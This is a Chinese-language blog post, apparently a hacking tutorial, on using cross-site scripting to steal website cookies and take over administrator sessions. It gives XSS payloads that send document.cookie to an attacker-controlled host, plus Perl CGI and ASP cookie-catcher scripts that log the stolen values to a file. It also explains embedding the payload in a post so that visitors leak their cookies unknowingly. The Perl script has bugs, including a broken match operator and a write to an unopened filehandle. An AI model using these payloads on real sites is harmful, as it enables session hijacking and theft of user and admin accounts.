XSS,现在都成热门词了,跨来跨去都是alert,无聊~~ 其实alert()不能排除是一种检测方式,很实用,呵呵。跨站跨到Cookies才是正道,如果网站系统有Cookie欺骗漏洞的话那就非常妙了,直接跨到管理员的Cookie一下子就能登陆后台,拿到权限比较爽。
虚构测试URL:http://hi.baidu.com/biweilun/cgi-bin/Articles.cgi?ID=<script>alert('biweilun')</script>
如果这样能弹出一个框框的话,那么你就可以利用了。
经常看到别人在网上放出收取Cookie的PHP脚本,貌似CGI脚本的没什么写?今天biweilun放出来一个,方便用于国外的XSS漏洞使用:
构造evilURL为:
http://hi.baidu.com/biweilun/cgi-bin/Articles.cgi?ID=<script>document.location='http://www.biweilun.cn/cgi-bin/cookie_catch.cgi?'+document.cookie</script>
www.biweilun.cn为你自己的虚拟主机空间,cookie_catch脚本代码如下:
#!/usr/bin/perl
# cookie_catch.cgi
# http://hi.baidu.com/biweilun
#
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info = ~s/%([a-fA-F0-9]{2})/pack("C", hex($1))/eg;
open(COOKIE_handle, ">>cookielog") || die "Can't write in\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(COOKIE_handle);
ASP版的Cookie截取代码为Cookie.asp:
<%
testfile=Server.MapPath("cookie.txt")
msg=Request("m")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
将提交上来的m变量存在cookie.txt里,用get方式提交就行了。
然后我们在网页里嵌入
<script>document.location='http://www.xxx.com/cookie.asp?m='+document.cookie</script>,用户浏览该帖子不会有任何反应就把cookie提交到我们的asp空间了